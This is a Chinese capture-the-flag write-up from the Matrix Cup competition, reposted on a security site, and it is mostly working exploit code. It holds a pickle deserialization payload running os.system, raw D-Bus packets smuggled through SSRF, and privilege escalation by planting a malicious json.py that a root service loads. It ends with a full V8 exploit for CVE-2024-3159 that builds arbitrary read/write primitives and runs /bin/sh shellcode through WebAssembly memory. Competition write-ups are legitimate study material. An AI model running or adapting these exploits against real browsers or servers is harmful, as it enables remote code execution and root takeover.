矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

内网开启了6379端口于是ssrf+gopher协议写webshell

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

 

v_You_a_shell:

文件读取

首先通过php读取到了两个python服务,/app/app.py,/app/flagService.py,然后通过读取 /start.sh,找到了dbus的配置文件

#app.pyimport base64import hashlibimport pickleimport randomimport threadingimport timeimport dbusimport dbus.serviceimport dbus.mainloop.glibfrom gi.repository import GLibfrom flask import Flask, session, request
app = Flask(__name__)secretKey = ""

def setSecretKet():    global secretKey    secretKey = hashlib.md5(random.randbytes(16)).hexdigest()


setSecretKet()app.secret_key = secretKeyloginList = {}login_fail_times = 0

class MyDBusService(dbus.service.Object):    def __init__(self, bus_name, object_path):        dbus.service.Object.__init__(self, bus_name, object_path)
    @dbus.service.method("ctf.syncServer", in_signature='', out_signature='s')    def ping(self):        return "pong"
    @dbus.service.method("ctf.syncServer", in_signature='ss', out_signature='s')    def backdoor(self, username, key):        global secretKey        if username in loginList and key == secretKey:            data = pickle.loads(base64.b64decode(loginList[username]))            return str(data)        return "keyError"

@app.route("/login")def login():    global loginList    global login_fail_times    if login_fail_times == 5:        login_fail_times = 0        session['code'] = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]        setSecretKet()    username = request.args.get('username')    password = request.args.get('password')    code = request.args.get('code')    data = request.cookies.get("data", "")    if code != session['code']:        return "codeError"    if username == "admin" and password == "123456":        if data != "":            loginList[username] = data        else:            loginList[username] = "no"        return "login successful"    login_fail_times += 1    return "Password error"


@app.route("/getCode")def getCode():    random.seed(int(time.time() * 10))    session['code'] = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]    return session['code']

def dbusServerStart():    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)    bus = dbus.SystemBus()    bus_name = dbus.service.BusName("ctf.syncServer", bus)    service = MyDBusService(bus_name, "/ctf/syncServer")    loop = GLib.MainLoop()    loop.run()

if __name__ == "__main__":    threading.Thread(target=dbusServerStart).start()    app.run(host="127.0.0.1", port=8080)
# flagService.py
import dbus, timeimport dbus.serviceimport dbus.mainloop.glibfrom gi.repository import GLib

class FlagService(dbus.service.Object):    def __init__(self, bus_name, object_path):        dbus.service.Object.__init__(self, bus_name, object_path)
    @dbus.service.method("ctf.flag.service", in_signature='', out_signature='s')    def ping(self):        return "pong"
    @dbus.service.method("ctf.flag.service", in_signature='s', out_signature='s')    def getTime(self, format):        return __import__("json").dumps({"code": 1, "time": time.strftime(format, time.localtime())})

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)bus = dbus.SystemBus()bus_name = dbus.service.BusName("ctf.flag.service", bus)service = FlagService(bus_name, "/ctf/flag/service")loop = GLib.MainLoop()loop.run()

预测secretkey,设置反序列化数据

可以看到 /getCode路由以当前时间设置了随机数,并且返回了随机数的前4位,并且在 /login中

if login_fail_times == 5:    login_fail_times = 0    session['code'] = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]    setSecretKet()

当失败次数达到5次,会重新设置随机数和session。

那么利用链如下,以下给出post数据包

通过php去访问 /getCode

cmd=curl&url=http%3A%2F%2F127.0.0.1%3A8080%2FgetCode&method=GET

得到session和key,拿到key,用以下的脚本去预测

import randomimport hashlibimport time# 已知的MD5哈希值的前四位known_md5_prefix = "3061"  # 示例值,替换为你已知的前四位值a=int(time.time() * 10)print(a)b=a-28800print(b)# 起始种子值start_seed = b           #17172611574
def generate_md5_prefix(seed):    random.seed(seed)    rand_bytes = random.randbytes(16)    md5_hash = hashlib.md5(rand_bytes).hexdigest()    return md5_hash[0:4]
def find_seed(start_seed, known_md5_prefix):    current_seed = start_seed    while True:        md5_prefix = generate_md5_prefix(current_seed)        if md5_prefix == known_md5_prefix:            return current_seed        current_seed += 1
# 执行爆破found_seed = find_seed(start_seed, known_md5_prefix)print(f"Found seed: {found_seed}")random.seed(found_seed)code = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]code = hashlib.md5(random.randbytes(16)).hexdigest()[0:4]key = hashlib.md5(random.randbytes(16)).hexdigest()print(code)print(key)

最后的key就是secretkey,因为有时差,所以需要减去28800

拿到key和cookie以后保存成一个正常的数据包,然后通过php的method参数注入数据包(因为需要注入cookie),data是反序列化数据

# data.pyimport pickleimport osimport base64,random,hashlib,time class Person():    def __reduce__(self):        # command=r'echo "import os\ndef dumps(a):\n\tos.system("touch /tmp/aaa && chmod 777 /flag")" > /app/json.py 2>&1'        command = r'which dbus-send > /tmp/a'        # command = r'ls /bin > /tmp/a'        return (os.system,(command,)) p=Person()opcode=pickle.dumps(p)print(base64.b64encode(opcode))
cmd=curl&method=GET%20/login%3Fusername%3Dadmin%26password%3D123456%26code%3Dbeb3%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A8080%0D%0ACookie%3A%20session%3DeyJjb2RlIjoiYmViMyJ9.ZluEVA.boOh1u9A19w52LCwRIl8-BiYJkc%3Bdata%3DgASVLQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBJkYnVzLXNlbmQgPiAvdG1wL2GUhZRSlC4%3D%3B&url=http://127.0.0.1:8080/login?username=admin&password=123456&data=username

然后把密码输错5次,之后就可以重置了secretkey

dbus协议分析

因为dbus底层也是socket,可以通过一个脚本给他改成可以抓成pcap包

#!/bin/bash
##################################################################################   UNIX域Socket抓包#   #   作者:RToax#   时间:2020年11月9日################################################################################# exe_name=$0eth_port="lo" #UNIX socket 文件路径unix_path=/tmp/unix.sockunix_path_original="$unix_path.original"ARG_UNIX_PATH="-u"ARG_UNIX_PATH_S="UNIX socket path name." #抓包文件pcap_switch=0pcap_file=pcap.pcapARG_PCAP_FILE="-f"ARG_PCAP_FILE_S="Pcap File Name. default $pcap_file, no set no save." #临时端口tcp_port=8087ARG_TCP_PORT="-p"ARG_TCP_PORT_S="TMP port for swap UNIX socket. default $tcp_port" #显示包的比特信息,如下:# 0x0000:  4500 0034 52ae 4000 4006 ea13 7f00 0001# 0x0010:  7f00 0001 c82a 07cf 6a88 73d9 bfa9 666c# 0x0020:  8010 01f8 fe28 0000 0101 080a a2d6 9545# 0x0030:  a2d6 9545pbits_flag=0ARG_PBITS_DETAIL="-x"ARG_PBITS_DETAIL_S="Show Packet Bits." #帮助信息ARG_USAGE="-h"ARG_USAGE_S="Show usage." #tcpdump的参数ARG_TCPDUMP=" -i $eth_port -netvvv -N -q " function usage(){    printf "n"    printf "$exe_name [option] [value]n"    printf "n"    printf "    $ARG_UNIX_PATH   $ARG_UNIX_PATH_S n"    printf "    $ARG_PCAP_FILE   $ARG_PCAP_FILE_Sn"    printf "    $ARG_TCP_PORT   $ARG_TCP_PORT_Sn"    printf "    $ARG_PBITS_DETAIL   $ARG_PBITS_DETAIL_Sn"    printf "    $ARG_USAGE   $ARG_USAGE_Sn"} function parse_args(){    argvs=($(echo "$@"))    elements=$[ $# - 1 ]    for (( i = 0; i <= $elements; i++ ))    {        # 解析抓包文件参数        if [ ${argvs[$i]} = $ARG_USAGE ]; then            usage            return 1        fi        # 解析UNIXsocket路径参数        if [ ${argvs[$i]} = $ARG_UNIX_PATH ]; then            unix_path=${argvs[${i}+1]}            #文件必须存在            if [ ! -e $unix_path ]; then                 printf "Unix Path not exist. $unix_pathn"                printf "TYPE>> $exe_name $ARG_USAGE for help.n"                return 1            fi            #文件必须为Socket类型            if [ ! -S $unix_path ]; then                 printf "File must be Unix Socket Path. $unix_pathn"                printf "TYPE>> $exe_name $ARG_USAGE for help.n"                return 1            fi                    fi        # 解析抓包文件参数        if [ ${argvs[$i]} = $ARG_PCAP_FILE ]; then            pcap_file=${argvs[${i}+1]}            pcap_switch=1            if [ -e $pcap_file ]; then                 printf "PCAP file: $pcap_file exist, overwrite it.n"                printf "TYPE>> $exe_name $ARG_USAGE for help.n"                rm -f $pcap_file            fi        fi                # 显示包的比特信息        if [ ${argvs[$i]} = $ARG_PBITS_DETAIL ]; then            pbits_flag=1        fi        # 解析临时端口参数        if [ ${argvs[$i]} = $ARG_TCP_PORT ]; then            tcp_port=${argvs[${i}+1]}        fi            }    return 0} if [ ! -e  /usr/bin/socat ]; then     printf "Not socat found, install socat first.n"    exit 0fi if [ ! -e  /usr/sbin/tcpdump ]; then     printf "Not tcpdump found, install tcpdump first.n"    exit 0fi  #没有参数直接退出if [ $# -lt 1 ]; then     usage    exit 0fi #解析参数parse_args $* #参数解析失败,直接退出if [ $? -ne 0 ]; then     exit 0fi  unix_path_original="$unix_path.original"  # Move socket filesmv "${unix_path}" "${unix_path_original}"trap "{ rm '${unix_path}'; mv '${unix_path_original}' '${unix_path}'; }" EXIT #创建一个TCP监听,一个UNIXSocket监听socat -t100 "TCP-LISTEN:${tcp_port},reuseaddr,fork" "UNIX-CONNECT:${unix_path_original}" & #创建一个UNIX监听和一个TCP监听socat -t100 "UNIX-LISTEN:${unix_path},mode=777,reuseaddr,fork" "TCP:localhost:${tcp_port}" & #ARG_TCPDUMP=" -i $eth_port -netvvv "#端口过滤ARG_TCPDUMP=$ARG_TCPDUMP" port $tcp_port " #是否输出抓包文件if [ $pcap_switch = "1" ]; then    ARG_TCPDUMP=$ARG_TCPDUMP" -w ${pcap_file}"fi if [ $pbits_flag = "1" ]; then    ARG_TCPDUMP=$ARG_TCPDUMP" -x"fi  #保存抓包数据  -i lo -netvvv -x port $tcpport -w "${pcapfile}"tcpdump $ARG_TCPDUMP
./undump.sh -u /run/dbus/system_bus_socket -f a.pcap

他这边开始抓包的时候,通过dbus-send发送数据包,具体命令是(我这里忽略测试ping路由的过程)

测试的时候只能运行第一次python,不能关了开第二次,会影响数据包中的sender

dbus-send --system --type=method_call --print-reply --dest=ctf.syncServer /ctf/syncServer ctf.syncServer.backdoor string:"admin" string:"secretkey"

经过测试,发现这些数据包类似redis,可以一起发送,并且服务端那边都会解析,这边把发送的数据包全部复制下来,然后一起发送

import binasciiimport socketimport urllib.parse
# 将十六进制字符串转换为字节流hex_data2 = "6c01000100000000040000004d00000001016f000f0000002f6374662f73796e635365727665720006017300040000003a312e3200000000020173000e0000006374662e73796e635365727665720000030173000400000070696e6700000000"hex_data1 = "00415554482045585445524e414c2033300d0a"+"4e45474f54494154455f554e49585f46440d0a"+"424547494e0d0a6c01000100000000010000006e00000001016f00150000002f6f72672f667265656465736b746f702f4442757300000006017300140000006f72672e667265656465736b746f702e444275730000000002017300140000006f72672e667265656465736b746f702e4442757300000000030173000500000048656c6c6f000000"+"6c01000113000000020000007f00000001016f00150000002f6f72672f667265656465736b746f702f4442757300000006017300140000006f72672e667265656465736b746f702e444275730000000002017300140000006f72672e667265656465736b746f702e4442757300000000030173000c0000004765744e616d654f776e65720000000008016700017300000e0000006374662e73796e6353657276657200"+"6c01000131000000020000006800000001016f000f0000002f6374662f73796e6353657276657200020173000e0000006374662e73796e63536572766572000003017300080000006261636b646f6f720000000000000000060173000e0000006374662e73796e63536572766572000008016700027373000500000061646d696e00000020000000376630383735353865383964623764313662613064643037646537623436363000"s = 'e655097da782a691cf830ed640dbead5'hex_str = ''for c in s:    hex_str += hex(ord(c))[2:]
print(hex_str)hex_data1 = hex_data1.replace("3766303837353538653839646237643136626130646430376465376234363630",hex_str) # 替换secretkeypacket_data1 = binascii.unhexlify(hex_data1)url_encoded_data = urllib.parse.quote(packet_data1)print(url_encoded_data)

拿到url_encoded_data,发包

cmd=curl&method=%00AUTH%20EXTERNAL%203333%0D%0ANEGOTIATE_UNIX_FD%0D%0ABEGIN%0D%0Al%01%00%01%00%00%00%00%01%00%00%00n%00%00%00%01%01o%00%15%00%00%00/org/freedesktop/DBus%00%00%00%06%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%02%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%03%01s%00%05%00%00%00Hello%00%00%00l%01%00%01%13%00%00%00%02%00%00%00%7F%00%00%00%01%01o%00%15%00%00%00/org/freedesktop/DBus%00%00%00%06%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%02%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%03%01s%00%0C%00%00%00GetNameOwner%00%00%00%00%08%01g%00%01s%00%00%0E%00%00%00ctf.syncServer%00l%01%00%011%00%00%00%02%00%00%00h%00%00%00%01%01o%00%0F%00%00%00/ctf/syncServer%00%02%01s%00%0E%00%00%00ctf.syncServer%00%00%03%01s%00%08%00%00%00backdoor%00%00%00%00%00%00%00%00%06%01s%00%0E%00%00%00ctf.syncServer%00%00%08%01g%00%02ss%00%05%00%00%00admin%00%00%00%20%00%00%00e655097da782a691cf830ed640dbead5%00&url=http%3A%2F%2F127.0.0.1%3A8080%2FgetCode&tcpstr=unix%3A%2F%2F%2Fvar%2Frun%2Fdbus%2Fsystem_bus_socket&data=1

注意 AUTH EXTERNAL 3333,这里这个3333是当前用户的权限id,可以通过读取 /etc/passwd 获取,33就是3的hex,当前用户实际的id是33,如果是root那就是0对应的hex就是30

发完就可以成功反序列化了

提权

找了好久,最后在 flagService.py 发现端倪,该服务由root权限启动

@dbus.service.method("ctf.flag.service", in_signature='s', out_signature='s')    def getTime(self, format):        return __import__("json").dumps({"code": 1, "time": time.strftime(format, time.localtime())})

初看以为是获取当前时间戳的,但是仔细思考发现了这个`__import__("json")

当往同级目录下面写入 json.py 然后再去访问这个路由,他就会加载我们写入的文件,并且执行 dumps 函数,那么就很明了了

import pickleimport osimport base64,random,hashlib,time class Person():    def __reduce__(self):        command=r'echo "import os\ndef dumps(a):\n\tos.system("touch /tmp/aaa && chmod 777 /flag")" > /app/json.py 2>&1'        return (os.system,(command,)) p=Person()opcode=pickle.dumps(p)print(base64.b64encode(opcode))

先这样写入文件,然后用同样的方法获取到访问这个getTime的数据包,然后把data搞出来

cmd=curl&method=%00AUTH%20EXTERNAL%203333%0D%0ANEGOTIATE_UNIX_FD%0D%0ABEGIN%0D%0Al%01%00%01%00%00%00%00%01%00%00%00n%00%00%00%01%01o%00%15%00%00%00/org/freedesktop/DBus%00%00%00%06%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%02%01s%00%14%00%00%00org.freedesktop.DBus%00%00%00%00%03%01s%00%05%00%00%00Hello%00%00%00l%01%00%01%07%00%00%00%02%00%00%00w%00%00%00%01%01o%00%11%00%00%00/ctf/flag/service%00%00%00%00%00%00%00%02%01s%00%10%00%00%00ctf.flag.service%00%00%00%00%00%00%00%00%03%01s%00%07%00%00%00getTime%00%06%01s%00%10%00%00%00ctf.flag.service%00%00%00%00%00%00%00%00%08%01g%00%01s%00%00%02%00%00%00aa%00&url=http%3A%2F%2F127.0.0.1%3A8080%2FgetCode&tcpstr=unix%3A%2F%2F%2Fvar%2Frun%2Fdbus%2Fsystem_bus_socket&data=1

然后通过php读取/flag即可

 

easywb:

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

先使用1 9绕过前面的判断进入命令执行 然后l""s绕过 然后访问718g就能拿到flag了

 

where:

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

读取源码 然后爆破文件/root/.bash_history 发现flag

 

矩阵杯漏洞挖掘赛

PWN

vvvvvvvv:

CVE-2024-3159

var buf = new ArrayBuffer(8);var dv = new DataView(buf);var u8 = new Uint8Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var roots = new Array(0x30000);var index = 0;
function pair_u32_to_f64(l, h) {    u32[0] = l;    u32[1] = h;    return f64[0];}
function u64_to_f64(val) {    u64[0] = val;    return f64[0];}

function f64_to_u64(val) {    f64[0] = val;    return u64[0];}
function set_u64(val) {    u64[0] = val;}
function set_l(l) {    u32[0] = l;}
function set_h(h) {    u32[1] = h;}
function get_l() {    return u32[0];}
function get_h() {    return u32[1];}
function get_u64() {    return u64[0];}
function get_f64() {    return f64[0];}
function get_fl(val) {    f64[0] = val;    return u32[0];}
function get_fh(val) {    f64[0] = val;    return u32[1];}
function add_ref(obj) {    roots[index++] = obj;}
function major_gc() {    new ArrayBuffer(0x7fe00000);}
function minor_gc() {    for (let i = 0; i < 8; i++) {        add_ref(new ArrayBuffer(0x200000));    }    add_ref(new ArrayBuffer(8));}
function hexx(str, val) {    console.log(str + ": 0x" + val.toString(16));}
function sleep(ms) {    return new Promise((resolve) => setTimeout(resolve, ms));}
// if (1) {//     let vic_arr = new Array(128);//     vic_arr[0] = 1.2;//     %DebugPrint(vic_arr);//     readline();//     //%SystemBreak();// }

var spray_array = new Array(0xf700).fill(1.1);var data_start_addr = 0x482139 + 7;//0x00442129 + 7;var map_addr = data_start_addr + 0x1000;var fake_object_addr = map_addr + 0x1000;
spray_array[(map_addr - data_start_addr) / 8] = u64_to_f64(0x2f040404001c3d21n);//0x2d04040400000061n//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2f040404);spray_array[(map_addr - data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff15000842n);//0x0a0007ff11000842nspray_array[(fake_object_addr - data_start_addr) / 8] = pair_u32_to_f64(map_addr + 1, 0x6f5);//0x219spray_array[(fake_object_addr - data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr - 1, 0x20);
var leak_object_array = new Array(0xf700).fill({});var leak_object_element_addr = 0x502139;// 0x004c2129;
//print("spray_array:");//% DebugPrint(spray_array);//print("leak_object_array:");//% DebugPrint(leak_object_array);//readline();// %SystemBreak();//%SystemBreak();
const object1 = {};object1.a = 1;
const object2 = {};object2.a = 2;object2.b = 2;
//const N = pair_u32_to_f64(0x42424242, 0x42424242);const N = pair_u32_to_f64(fake_object_addr + 1, fake_object_addr + 1);var fake_object_array = [    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,    N, N, N, N, N, N, N, N, N, N, N, N, N, N,];const object3 = {};object3.a = 3;object3.b = 3;object3.c = 3;object3.d = 3;
const object4 = {};object4.a = 4;object4.b = 4;object4.c = 4;object4.e = 4;
let fake_array;for (let key in object2) { }function trigger(callback) {    for (let key in object2) {        callback();        fake_array = object2[key];        //print('ff');        for (let i = 0; i < 0x100; i++) {}    }}
//%PrepareFunctionForOptimization(trigger);trigger(_ => _);trigger(_ => _);//%OptimizeFunctionOnNextCall(trigger);trigger(_ => _);for (let i = 0; i < 0x10000; i++) {    trigger(_ => _);    trigger(_ => _);    trigger(_ => _);}//%DebugPrint(object4);

// % PrepareFunctionForOptimization(trigger);// trigger(_ => _);// trigger(_ => _);// % OptimizeFunctionOnNextCall(trigger);// trigger(_ => _);
//%DebugPrint(object4);//readline();trigger(_ => {    //print("callback");    object4.c = 1.1;    for (let key in object1) { }    //%DebugPrint(object2);    //readline();});
print('fake_array end');//print(fake_array);
// print(fake_array === %TheHole());//%DebugPrint(fake_array);//print(fake_array[2]);//%SystemBreak();// readline();
function addressOf(obj) {    spray_array[(fake_object_addr - data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);    leak_object_array[0] = obj;    f64[0] = fake_array[0];    return u32[0];}//print('AAA');//%DebugPrint(fake_array);//readline();// var test = [1.1];// hexx("test address", addressOf(test));// % DebugPrint(test);
function arb_read_cage(addr) {    spray_array[(fake_object_addr - data_start_addr) / 8 + 1] = pair_u32_to_f64(addr - 8, 0x20);    return f64_to_u64(fake_array[0]);}
function arb_write_half_cage(addr, val) {    let orig_val = arb_read_cage(addr);    fake_array[0] = pair_u32_to_f64(orig_val & 0xffffffff, val);}
function arb_write_full_cage(addr, val) {    spray_array[(fake_object_addr - data_start_addr) / 8 + 1] = pair_u32_to_f64(addr - 8, 0x20);    fake_array[0] = u64_to_f64(val);}

var wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 83, 1, 81, 0, 68, 47, 47, 98, 105, 110, 47, 115, 104, 68, 214, 144, 72, 49, 246, 86, 235, 7, 68, 255, 53, 220, 255, 255, 255, 235, 7, 68, 84, 95, 72, 49, 210, 144, 235, 7, 68, 106, 59, 88, 153, 15, 5, 9, 8, 68, 144, 72, 137, 231, 153, 15, 5, 204, 68, 98, 145, 144, 144, 144, 144, 144, 204, 68, 168, 145, 144, 144, 144, 144, 144, 204, 26, 26, 26, 26, 26, 26, 26, 11, 0, 10, 4, 110, 97, 109, 101, 2, 3, 1, 0, 0])));var wasm_instance_addr = addressOf(wasm_instance);
var wasm_instance2 = new WebAssembly.Instance(new WebAssembly.Module(new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 13, 1, 11, 0, 68, 65, 65, 144, 144, 72, 137, 16, 195, 11, 0, 19, 4, 110, 97, 109, 101, 1, 7, 1, 0, 4, 109, 97, 105, 110, 2, 3, 1, 0, 0])));var wasm_instance_addr2 = addressOf(wasm_instance2);
console.assert(wasm_instance_addr);hexx("instance_addr", wasm_instance_addr);hexx("instance_addr2", wasm_instance_addr2);
var trust1 = Number(arb_read_cage(wasm_instance_addr+0xc)&0xFFFFFFFFn);hexx("trust1", trust1);var rwx1 = arb_read_cage(trust1+0x38)hexx("rwx1", rwx1);
var trust2 = Number(arb_read_cage(wasm_instance_addr2+0xc)&0xFFFFFFFFn);hexx("trust2", trust2);var rwx2 = arb_read_cage(trust2+0x38)hexx("rwx2", rwx2);
console.assert(rwx1);console.assert(rwx2);
wasm_instance.exports.main();arb_write_full_cage(trust2 + 0x38, rwx1 + 0x81cn + 0x8n + 0x8n); // rwx2 + 0x82cn// %SystemBreak();wasm_instance2.exports.main();

引用:

https://bbs.kanxue.com/thread-281180-1.htm

https://blog.csdn.net/qq_61670993/article/details/138090377

 

FOOTER

承接CTF培训,代码审计,渗透测试,物联网、车联网、工控设备漏洞挖掘等安全项目,长期收一手bc案源,如有其他商务合作也可以联系微信:littlefoursec(备注来由,否则不通过)。

原文始发于微信公众号(山海之关):矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日08:56:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   矩阵杯战队攻防对抗赛 writeup by Arr3stY0uhttps://cn-sec.com/archives/2807477.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息